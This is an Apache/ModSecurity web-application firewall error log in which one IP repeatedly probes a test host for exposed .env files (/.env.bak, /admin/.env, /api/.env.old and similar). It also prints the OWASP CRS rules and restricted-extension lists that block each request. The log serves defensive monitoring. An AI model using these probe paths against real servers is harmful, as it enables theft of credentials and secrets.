[Sun Nov 16 05:33:22.344408 2025] [:error] [pid 105703] [client 18.119.101.32:50996] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRlUEvg2Gh-L-AjQsRfGvwAAAAU"]
[Sun Nov 16 05:33:22.344567 2025] [:error] [pid 105703] [client 18.119.101.32:50996] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRlUEvg2Gh-L-AjQsRfGvwAAAAU"]
[Sun Nov 16 05:33:22.344795 2025] [:error] [pid 105703] [client 18.119.101.32:50996] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRlUEvg2Gh-L-AjQsRfGvwAAAAU"]
[Sun Nov 16 05:33:22.344975 2025] [:error] [pid 105703] [client 18.119.101.32:50996] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRlUEvg2Gh-L-AjQsRfGvwAAAAU"]
[Sun Nov 16 05:33:22.361630 2025] [:error] [pid 103400] [client 18.119.101.32:50984] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aRlUEjNSkdMAuXBkjk7iGwAAAAI"]
[Sun Nov 16 05:33:22.361807 2025] [:error] [pid 103400] [client 18.119.101.32:50984] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aRlUEjNSkdMAuXBkjk7iGwAAAAI"]
[Sun Nov 16 05:33:22.361950 2025] [:error] [pid 103400] [client 18.119.101.32:50984] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aRlUEjNSkdMAuXBkjk7iGwAAAAI"]
[Sun Nov 16 05:33:22.400179 2025] [:error] [pid 103401] [client 18.119.101.32:50990] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aRlUEr5rejGDIGJeuSGFtQAAAAM"]
[Sun Nov 16 05:33:22.400372 2025] [:error] [pid 103401] [client 18.119.101.32:50990] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aRlUEr5rejGDIGJeuSGFtQAAAAM"]
[Sun Nov 16 05:33:22.400533 2025] [:error] [pid 103401] [client 18.119.101.32:50990] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aRlUEr5rejGDIGJeuSGFtQAAAAM"]
[Sun Nov 16 05:33:29.326518 2025] [:error] [pid 103399] [client 18.119.101.32:51002] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aRlUGWi5HgwUxagZ6y7LJQAAAAE"]
[Sun Nov 16 05:33:29.326741 2025] [:error] [pid 103399] [client 18.119.101.32:51002] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aRlUGWi5HgwUxagZ6y7LJQAAAAE"]
[Sun Nov 16 05:33:29.326913 2025] [:error] [pid 103399] [client 18.119.101.32:51002] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aRlUGWi5HgwUxagZ6y7LJQAAAAE"]
[Sun Nov 16 05:33:29.374568 2025] [:error] [pid 103448] [client 18.119.101.32:51014] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aRlUGQbV20V557lJgw5ykQAAAAs"]
[Sun Nov 16 05:33:29.374776 2025] [:error] [pid 103448] [client 18.119.101.32:51014] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aRlUGQbV20V557lJgw5ykQAAAAs"]
[Sun Nov 16 05:33:29.374937 2025] [:error] [pid 103448] [client 18.119.101.32:51014] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aRlUGQbV20V557lJgw5ykQAAAAs"]
[Sun Nov 16 05:33:35.481769 2025] [:error] [pid 103398] [client 18.119.101.32:45094] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aRlUH7czEoTwe_Jf335FSAAAAAA"]
[Sun Nov 16 05:33:35.482004 2025] [:error] [pid 103398] [client 18.119.101.32:45094] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aRlUH7czEoTwe_Jf335FSAAAAAA"]
[Sun Nov 16 05:33:35.482172 2025] [:error] [pid 103398] [client 18.119.101.32:45094] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aRlUH7czEoTwe_Jf335FSAAAAAA"]
[Sun Nov 16 05:33:35.511981 2025] [:error] [pid 103445] [client 18.119.101.32:45086] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aRlUH0C1MmZNgKkPK0wSXgAAAAg"]
[Sun Nov 16 05:33:35.512137 2025] [:error] [pid 103445] [client 18.119.101.32:45086] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aRlUH0C1MmZNgKkPK0wSXgAAAAg"]
[Sun Nov 16 05:33:35.512321 2025] [:error] [pid 103445] [client 18.119.101.32:45086] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aRlUH0C1MmZNgKkPK0wSXgAAAAg"]
[Sun Nov 16 05:33:35.512486 2025] [:error] [pid 103445] [client 18.119.101.32:45086] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aRlUH0C1MmZNgKkPK0wSXgAAAAg"]
[Sun Nov 16 05:33:35.513613 2025] [:error] [pid 103446] [client 18.119.101.32:45056] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRlUH0-c4YqyOTFJOSeIQgAAAAk"]
[Sun Nov 16 05:33:35.513774 2025] [:error] [pid 103446] [client 18.119.101.32:45056] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRlUH0-c4YqyOTFJOSeIQgAAAAk"]
[Sun Nov 16 05:33:35.513980 2025] [:error] [pid 103446] [client 18.119.101.32:45056] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRlUH0-c4YqyOTFJOSeIQgAAAAk"]
[Sun Nov 16 05:33:35.514592 2025] [:error] [pid 103444] [client 18.119.101.32:45070] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aRlUH0jUGFX9l3ZphyhAmwAAAAc"]
[Sun Nov 16 05:33:35.514736 2025] [:error] [pid 103444] [client 18.119.101.32:45070] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aRlUH0jUGFX9l3ZphyhAmwAAAAc"]
[Sun Nov 16 05:33:35.514912 2025] [:error] [pid 103444] [client 18.119.101.32:45070] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aRlUH0jUGFX9l3ZphyhAmwAAAAc"]
[Sun Nov 16 05:33:35.515071 2025] [:error] [pid 103444] [client 18.119.101.32:45070] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aRlUH0jUGFX9l3ZphyhAmwAAAAc"]
[Sun Nov 16 05:33:42.774801 2025] [:error] [pid 103401] [client 18.119.101.32:56596] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aRlUJr5rejGDIGJeuSGFtgAAAAM"]
[Sun Nov 16 05:33:42.774978 2025] [:error] [pid 103401] [client 18.119.101.32:56596] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aRlUJr5rejGDIGJeuSGFtgAAAAM"]
[Sun Nov 16 05:33:42.775182 2025] [:error] [pid 103401] [client 18.119.101.32:56596] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aRlUJr5rejGDIGJeuSGFtgAAAAM"]
[Sun Nov 16 05:33:42.775378 2025] [:error] [pid 103401] [client 18.119.101.32:56596] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aRlUJr5rejGDIGJeuSGFtgAAAAM"]
[Sun Nov 16 05:33:42.784738 2025] [:error] [pid 103400] [client 18.119.101.32:56574] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aRlUJjNSkdMAuXBkjk7iHAAAAAI"]
[Sun Nov 16 05:33:42.784917 2025] [:error] [pid 103400] [client 18.119.101.32:56574] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aRlUJjNSkdMAuXBkjk7iHAAAAAI"]
[Sun Nov 16 05:33:42.785093 2025] [:error] [pid 103400] [client 18.119.101.32:56574] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aRlUJjNSkdMAuXBkjk7iHAAAAAI"]
